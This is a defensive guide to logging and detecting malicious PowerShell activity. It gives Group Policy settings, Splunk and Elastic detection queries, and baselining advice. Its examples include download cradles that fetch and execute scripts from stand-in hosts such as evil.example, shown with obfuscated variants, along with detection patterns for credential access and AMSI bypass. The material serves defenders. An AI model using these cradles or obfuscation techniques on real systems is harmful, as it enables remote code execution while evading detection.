PowerShell is involved in a large proportion of modern Windows intrusions. It is pre-installed on every Windows system, can execute code entirely from memory without writing to disk, has full access to the .NET framework and Windows APIs, and is used legitimately by administrators and management tooling. Blocking it outright breaks too much. The defensive answer is comprehensive logging, understanding what normal looks like, and building detection that distinguishes legitimate admin activity from attacker activity in the same tool.
Getting the right logging in place
There are three PowerShell logging types and all three should be enabled. Each captures different information and they complement each other.
// Module Logging: records which modules, cmdlets, and functions execute
// Group Policy path:
// Computer Configuration > Administrative Templates > Windows Components >
// Windows PowerShell > Turn on Module Logging
// Module names: * (captures all modules)
// Produces: Event ID 4103 in Microsoft-Windows-PowerShell/Operational
// Script Block Logging: records the actual script content as executed
// This is the most important one - captures content AFTER deobfuscation
// Group Policy path: Turn on PowerShell Script Block Logging
// Produces: Event ID 4104 in Microsoft-Windows-PowerShell/Operational
// Transcription: writes full session transcripts to a file
// Configure output to a write-only network share
// Produces: text files per session, useful for post-incident review
// Verify logging is active via registry
Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
# EnableScriptBlockLogging should be 1
Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging
# EnableModuleLogging should be 1
Understanding what Event ID 4104 captures
// A download cradle, obfuscated:
// powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...
// What 4104 logs (the decoded content PowerShell actually executes):
// Event ID: 4104
// Level: Warning (PowerShell flagged this as suspicious automatically)
// ScriptBlockText:
// IEX (New-Object System.Net.WebClient).DownloadString(
// 'https://malicious.example.com/stage2.ps1'
// )
// The Warning level is applied automatically when PowerShell detects
// known suspicious patterns in the script content including:
// IEX, Invoke-Expression, DownloadString, DownloadFile,
// Add-Type, [Reflection.Assembly]::Load, FromBase64String,
// and others documented in amsi.dll
// Alert on all 4104 events at Warning (level 3) or above
// This is a high-signal, low-noise starting point
Common obfuscation techniques and how 4104 defeats them
// Technique 1: String concatenation
// Obfuscated (evades static string matching):
$a = "Down"; $b = "load"; $c = "String"
(New-Object Net.WebClient)."$a$b$c"("https://evil.example/p.ps1")
// What 4104 logs:
// (New-Object Net.WebClient).DownloadString("https://evil.example/p.ps1")
// The obfuscation is irrelevant - we see what actually executes
// Technique 2: Character code substitution
[char]73 + [char]69 + [char]88 // = "IEX"
// What 4104 logs: IEX (the resolved string)
// Technique 3: Backtick escaping
i`ex (ne`w-ob`ject ne`t.web`client).do`wnloadstring("https://evil.example/p.ps1")
// What 4104 logs:
// IEX (New-Object Net.WebClient).DownloadString("https://evil.example/p.ps1")
// Technique 4: String split and join
"Invoke-Ex"+"pression" | Invoke-Expression
// What 4104 logs: Invoke-Expression (the resolved form)
// Technique 5: Base64 encoded command (-EncodedCommand / -enc)
// powershell -enc SQBFAFgAIA...
// What 4688 logs (process creation): the full -enc argument
// What 4104 logs: the decoded script content
// Both together give complete visibility
Splunk detection queries
// Query 1: Download cradles (any method of downloading code)
index=wineventlog (source="Microsoft-Windows-PowerShell/Operational" EventCode=4104)
OR (EventCode=4688)
| eval content=coalesce(ScriptBlockText, Process_Command_Line)
| where match(content, "(?i)(DownloadString|DownloadFile|WebClient|Invoke-WebRequest|Start-BitsTransfer|bitsadmin)")
| table _time, host, EventCode, content, Account_Name
| sort -_time
// Query 2: In-memory .NET assembly loading (reflective loading)
index=wineventlog source="Microsoft-Windows-PowerShell/Operational" EventCode=4104
| where match(ScriptBlockText, "(?i)(\[Reflection\.Assembly\]|Assembly::Load|Add-Type.+-TypeDefinition|-base64)")
| table _time, host, ScriptBlockText | sort -_time
// Query 3: Credential access patterns
index=wineventlog source="Microsoft-Windows-PowerShell/Operational" EventCode=4104
| where match(ScriptBlockText, "(?i)(Get-Credential|SecureString|ConvertTo-SecureString|DPAPI|CredentialManager|Vault)")
| table _time, host, ScriptBlockText
// Query 4: Lateral movement and discovery
index=wineventlog source="Microsoft-Windows-PowerShell/Operational" EventCode=4104
| where match(ScriptBlockText, "(?i)(Invoke-Command|Enter-PSSession|New-PSSession|Get-ADComputer|Get-ADUser|net user|net group)")
| table _time, host, ScriptBlockText
// Query 5: Correlate encoded commands with decoded content
// Find all base64 encoded PowerShell commands and decode them
index=wineventlog EventCode=4688
Process_Command_Line="*-EncodedCommand*" OR Process_Command_Line="*-enc *"
| rex field=Process_Command_Line "(?i)(?:-enc|-encodedcommand)\s+(?P[A-Za-z0-9+/=]{40,})"
| eval decoded=base64decode(b64)
| eval decoded_utf16=replace(decoded, "\u0000", "")
| table _time, host, Account_Name, Process_Command_Line, decoded_utf16
Elastic EQL correlation rules
// Detect PowerShell spawned from Office applications (macro execution chain)
sequence by host.name with maxspan=30s
[process where event.type == "start"
and process.parent.name in ("winword.exe","excel.exe","powerpnt.exe","outlook.exe")
and process.name == "powershell.exe"]
[any where event.provider == "Microsoft-Windows-PowerShell"
and event.code == "4104"
and winlog.event_data.ScriptBlockText like~ "*Download*"]
// Alert: Office app spawned PowerShell that immediately attempted a download
// This is the macro -> download cradle -> payload delivery pattern
// Detect AMSI bypass attempts
// AMSI bypass patches amsi.dll in memory - Sysmon Event ID 25 catches this
sequence by process.entity_id with maxspan=5s
[process where event.type == "start" and process.name == "powershell.exe"]
[process where event.action == "Image is replaced"
and process.name == "powershell.exe"]
// Alert: PowerShell process started and immediately had a module patched
// This is the AMSI patch -> run malicious script -> clean up pattern
Building a PowerShell baseline
Before you can detect anomalous PowerShell you need to understand what normal looks like in your environment. Run these baseline queries over a week of data and document the results.
// What PowerShell scripts run most frequently?
index=wineventlog source="Microsoft-Windows-PowerShell/Operational" EventCode=4103
| rex field=ScriptName "(?P[^\\]+)$"
| stats count by script_file | sort -count | head 20
// Which hosts run the most PowerShell?
index=wineventlog source="Microsoft-Windows-PowerShell/Operational" EventCode=4104
| stats count by host | sort -count | head 20
// What accounts run PowerShell?
index=wineventlog EventCode=4688 New_Process_Name="*\\powershell.exe"
| stats count by Account_Name | sort -count | head 20
// After a week you will know:
// - Which scripts are legitimate and should be excluded from alerts
// - Which accounts run PowerShell legitimately
// - What hosts are "PowerShell-heavy" environments vs ones where any PS is suspicious